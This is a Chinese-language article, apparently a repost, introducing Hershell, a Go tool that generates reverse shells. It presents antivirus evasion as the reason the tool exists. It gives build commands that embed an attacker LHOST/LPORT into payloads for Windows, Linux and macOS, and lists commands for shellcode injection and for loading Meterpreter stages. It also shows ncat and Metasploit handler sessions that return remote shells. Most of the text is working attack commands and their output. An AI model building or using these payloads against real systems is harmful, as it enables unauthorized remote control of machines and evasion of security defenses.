Hershell 是一款功能强大的跨平台反向 Shell 生成器, 该工具使用 Go 语言开发, 基于 TCP 反向 Shell 实现其功能.
该工具使用了 TLS 来保障数据通讯的安全性, 并且提供了证书公共密钥指纹绑定功能来防止通信数据被拦截.
支持的系统
Hershell 的当前版本支持以下操作系统:
- Windows
- Linux
- macOS
- FreeBSD
开发目的
虽然 Meterpreter Payload 有时也能用, 但是这种方法很容易被反病毒产品检测到. 因此, Hershell 便应运而生, 它可以给我们提供一个基于 TCP 的反向 Shell, 而且能够支持各种不同的操作系统平台.
工具使用 & 依赖组件
Hershell 使用 Go 语言开发, 我们首先需要按照 Go 官方手册 [ 点我获取 https://golang.org/doc/install ] 在我们的设备上完成 Go 环境的搭建, 并设置好 $GOPATH 环境变量.
接下来, 运行下列命令来获取项目源码:
go get GitHub.com/lesnuages/hershell
构建 Payload
在构建 Payload 时, 我们可以选择使用已提供的 Makefile 来完成构建. 此时, 我们需要设置以下环境变量:
GOOS : 目标操作系统
GOARCH : 目标架构
LHOST : 攻击者 IP 或主机域名
LPORT : 监听器端口
关于 GOOS 和 GOARCH 变量的设置, 可以参考这篇 [ 文档 https://golang.org/doc/install/source#environment ] .
当然了, 我们也在 Makefile 中提供了一些可供参考的变量值:
depends : 生成服务器证书 (反向 Shell 需要使用到)
windows32 : 构建一个 32 位 Windows 可执行程序 (PE 32 位)
windows64 : 构建一个 64 位 Windows 可执行程序 (PE 64 位)
linux32 : 构建一个 32 位 Linux 可执行程序 (ELF 32 位)
linux64 : 构建一个 64 位 Linux 可执行程序 (ELF 64 位)
macos32 : 构建一个 32 位 macOS 可执行程序 (Mach-O)
macos64 : 构建一个 64 位 macOS 可执行程序 (Mach-O)
针对上述列表中的目标平台, 我们还需要设置 LHOST 和 LPORT 这两个环境变量.
使用反向 Shell
代码开始执行之后, 工具将给我们提供一个远程 Shell, 它是一个自定义的交互式 Shell, 允许我们通过 Windows 上的 cmd.exe 或 Unix 设备中的 / bin/sh 来执行系统命令.
Hershell 支持的部分特定命令如下表所示:
run_shell : 获取系统 Shell
inject <base64 shellcode> : 向相同进程内存中注入一个 shellcode(Base64 编码), 并执行代码.
meterpreter [tcp|http|https] IP:PORT : 与多个处理器建立连接并从 Metasploit 获取第二阶段的反向 TCP,HTTP 或 HTTPS Meterpreter, 然后在内存中执行 Shellcode(该功能目前仅支持 Windows 平台).
exit : 退出程序
工具使用
首先, 我们需要使用下面的命令生成一个有效的证书:
- $ make depends
- openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
- Generating a 4096 bit RSA private key
- ....................................................................................++
- .....++
- writing new private key to 'server.key'
- -----
- cat server.key>> server.pem
针对 Windows 平台:
- # Predifined 32 bit target
- $ make windows32 LHOST=192.168.0.12 LPORT=1234
- # Predifined 64 bit target
- $ make windows64 LHOST=192.168.0.12 LPORT=1234
针对 Linux 平台:
- # Predifined 32 bit target
- $ make linux32 LHOST=192.168.0.12 LPORT=1234
- # Predifined 64 bit target
- $ make linux64 LHOST=192.168.0.12 LPORT=1234
针对 macOS 平台:
$ make macos LHOST=192.168.0.12 LPORT=1234
工具使用样例
基础使用
我们可以使用各种工具来处理传入的连接, 比如说:
socat
ncat
openssl 服务器模块
Metasploit 的各种 handler (python/shell_reverse_tcp_ssl payload)
下面是 ncat 的使用样例:
- $ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
- Ncat: Version 7.60 ( https://nmap.org/ncat )
- Ncat: Listening on :::1234
- Ncat: Listening on 0.0.0.0:1234
- Ncat: Connection from 172.16.122.105.
- Ncat: Connection from 172.16.122.105:47814.
- [hershell]> whoami
- desktop-3pvv31a\lab
Meterpreter 场景
注意: 目前该功能仅支持在 Windows 平台上使用.
该工具的 Meterpreter 使用场景目前仅支持下列 Payload:
- Windows/meterpreter/reverse_tcp
- Windows/x64/meterpreter/reverse_tcp
- Windows/meterpreter/reverse_http
- Windows/x64/meterpreter/reverse_http
- Windows/meterpreter/reverse_https
- Windows/x64/meterpreter/reverse_https
当你选择使用某个 Payload 之后, 别忘了选择正确的传输端口 (tcp,http 或 https).
MeterpreterHandler 使用样例如下:
- [14:12:45][172.16.122.105][Sessions: 0][Jobs: 0]> use exploit/multi/handler
- [14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler)> set payload Windows/x64/meterpreter/reverse_https
- payload => Windows/x64/meterpreter/reverse_https
- [14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler)> set lhost 172.16.122.105
- lhost => 172.16.122.105
- [14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler)> set lport 8443
- lport => 8443
- [14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler)> set HandlerSSLCert ./server.pem
- HandlerSSLCert => ./server.pem
- [14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler)> exploit -j
- [*] Exploit running as background job 0.
- [*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
- [14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler)>
接下来, 在 hershell 中, 使用 meterpreter 命令:
[hershell]> meterpreter https 172.16.122.105:8443
此时, 我们将能够在 msfconsole 中获取到新的 Meterpreter 会话:
- [14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler)>
- [*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
- [*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
- [14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler)> sessions
- Active sessions
- ===============
- Id Name Type Information Connection
- -- ---- ---- ----------- ----------
- 1 meterpreter x64/Windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
- [14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler)> sessions -i 1
- [*] Starting interaction with 1...
- meterpreter> getuid
- Server username: DESKTOP-3PVV31A\lab
项目地址
Hershell:[ GitHub 传送门 https://github.com/lesnuages/hershell ]
来源: http://www.tuicool.com/articles/R7J77vM